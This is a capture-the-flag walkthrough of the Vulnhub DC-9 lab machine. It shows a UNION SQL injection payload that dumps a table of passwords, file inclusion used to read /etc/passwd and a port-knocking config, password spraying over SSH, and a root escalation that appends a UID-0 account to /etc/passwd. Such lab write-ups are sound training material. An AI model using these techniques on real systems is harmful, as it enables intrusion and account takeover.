Vulnhub | DC-9
In DC-9, we only have access to a web application, which is vulnerable to SQL injection and LFI. We exploit the SQL injection to collect a set of credentials that is used later on in the box. The interesting part of this box is that it uses port knocking to “hide” the SSH service. We leverage the LFI to find the specific port sequence, and after opening the port, we perform a password spray to get valid users. In root, one of the users is able to run a binary as root, which allows us to add ourselves as root by writing to the /etc/passwd file.
Overview
In DC-9, we only have access to a web application, which is vulnerable to SQL injection and LFI. We exploit the SQL injection to collect a set of credentials that is used later on in the box. The interesting part of this box is that it uses port knocking to “hide” the SSH service. We leverage the LFI to find the specific port sequence, and after opening the port, we perform a password spray to get valid users. In root, one of the users is able to run a binary as root, which allows us to add ourselves as root by writing to the /etc/passwd
file.
Recon
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.94SVN scan initiated Wed Jun 12 11:20:47 2024 as: nmap -p 80 -sSCV -vv -oA scans/dc9 192.168.107.132
Nmap scan report for 192.168.107.132 (192.168.107.132)
Host is up, received arp-response (0.00064s latency).
Scanned at 2024-06-12 11:20:54 +08 for 7s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Example.com - Staff Details - Welcome
MAC Address: 00:0C:29:A6:84:E4 (VMware)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 12 11:21:01 2024 -- 1 IP address (1 host up) scanned in 13.55 seconds
We only have port 80 open on this box.
Website (TCP 80)
The web application is hosting a staff details page, and from the URLs, it is a PHP application. The links in the navigation bar bring us to display.php
, search.php
and manage.php
.
display.php
returns a table of staff information.
search.php
searches records from the table shown in display.php
.
I tried default credentials but was not able to log in.
In the backgrond, I’ll run a ffuf
scan to discover other endpoints.
1
2
3
4
5
6
7
8
9
10
11
...[SNIP]...
search [Status: 200, Size: 1091, Words: 47, Lines: 50, Duration: 3ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 10ms]
config [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 2ms]
display [Status: 200, Size: 2961, Words: 199, Lines: 42, Duration: 2ms]
index [Status: 200, Size: 917, Words: 43, Lines: 43, Duration: 2ms]
manage [Status: 200, Size: 1210, Words: 43, Lines: 51, Duration: 15ms]
results [Status: 200, Size: 1056, Words: 43, Lines: 55, Duration: 7ms]
session [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3ms]
welcome [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 306ms]
[Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 2ms]
Visiting config.php
doesn’t really show us anything. Visiting session.php
, we get redirected to manage.php
, saying that we are already logged in as admin. Therefore, we have an authentication bypass.
SQL Injection
The search parameter is vulnerable to UNION injection. By using the ORDER BY
method, it was discovered that the query returns 6 columns. The first thing to do is to enumerate the database being used.
Now that we know that the database is mysql, we can enumerate the tables through information_schema
. A summary of the enumerated info is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
Database: 10.3.17-MariaDB-0+deb10u1
Schemas: information_schema, Staff, users
users
-----
UserDetails: id, firstname, lastname, username, password, reg_date
Staff
-----
StaffDetails: id, firstname, lastname, position, phone, email, reg_date
Users: UserID, Username, Password
Listing the UserDetails table, we get a set of credentials.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# mary' union select 1,2,username,password,5,6 from users.UserDetails;-- -
marym 3kfs86sfd
julied 468sfdfsd2
fredf 4sfd87sfd1
barneyr RocksOff
tomc TC&TheBoyz
jerrym B8m#48sd
wilmaf Pebbles
bettyr BamBam01
chandlerb UrAG0D!
joeyt Passw0rd
rachelg yN72#dsd
rossg ILoveRachel
monicag 3248dsds7s
phoebeb smellycats
scoots YR3BVxxxw87
janitor Ilovepeepee
janitor2 Hawaii-Five-0
There is only one entry in the Staff.Users table.
The admin’s MD5 hash did not crack. Since we are already logged in as admin to the website, we’ll come back to the credentials collected later.
Local File Inclusion (LFI)
Notice the “File does not exist” error at the bottom of manage.php
, which suggests that a file is being included in the request. We can fuzz for the parameter with ffuf
.
I included ../index.php
because /etc/passwd
did not give me any results, and I figured it would be better to include a file from the website itself. We only got the result after traversing up one directory. Now that we know the parameter, I used jhaddix’s LFI wordlist for fuzzing.
We can confirm that the LFI works by reading /etc/passwd
.
The next thing to do is to enumerate common configuration files, or environment variables.
1
2
3
4
5
6
7
8
9
10
11
# /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Linux 4.19.0-6-amd64
However, I wasn’t able to get much useful information, so I looked to find if there were internal services running. To list the running processes with only read access, we can read the /proc/sched_debug
file, which lists the running processes on every CPU.
Out of all the processes, knockd
stands out.
Port knocking with knockd
knockd is a port-knock server, which listens for specific “knock” sequences to open a closed port. Here’s a good article to get started with knockd
that goes over its configuration.
We will leverage the LFI to read the knockd
configuration file at /etc/knockd
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
So, we need to provide the knock sequence “7469, 8475, 9842” in order to open the SSH port on the box. We can do this with telnet.
1
for i in {7469,8475,9842}; do telnet 192.168.107.132 $i; done
If we do a port scan on port 22, we confirm that port 22 is now opened.
Shell as User
Now that SSH is available, we can try the set of credentials collected earlier to see if we can login.
We have valid credentials to joeyt, chandlerb, and janitor. I logged in to all three users, but none of them had sudo access.
We have one interesting file (passwords-found-on-post-it-notes.txt) in janitor’s directory.
With the new set of passwords, we can do a password spray with the usernames that failed in the earlier brute force.
We get a hit on fredf.
Shell as Root
Quick sudo -l
check shows that fredf is allowed to run /opt/devstuff/dist/test/test
as root.
If we look into /opt/devstuff
, it’s a python project, and we have the source code to the compiled binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
test
takes in two parameters, the first parameter is our input file, and the second parameter is the file that we will append to. Initially, I tried writing my own SSH key to root, but this did not work because the .ssh
directory likely did not exist in /root
.
Writing to /etc/passwd
Since we have sudo access to write to any file, one trick is to add ourselves as root by writing to /etc/passwd
. You can follow this section from HackTricks for more details.
First, generate a password.
1
2
$ mkpasswd -m SHA-512 benkyou
$6$GBj/Ef3A7SyWHkhB$3eZ7tsbmnbaQJh69UrmR0uO7LBdXspfDBVbg4xjuUWeeJIOg2GU9Ue2kRSJTvXIAtmBwPbMZK4vLAO.WtNpQA1
Then, add the generated password according to the following format.
1
benkyou:$6$GBj/Ef3A7SyWHkhB$3eZ7tsbmnbaQJh69UrmR0uO7LBdXspfDBVbg4xjuUWeeJIOg2GU9Ue2kRSJTvXIAtmBwPbMZK4vLAO.WtNpQA1:0:0:/root:/bin/bash
Add this to a file, and run test
with sudo
to add the newly created user.
1
sudo /opt/devstuff/dist/test/test our_user.txt /etc/passwd
Now, we can su to our added user and gain root access.
And that’s the end of the box :)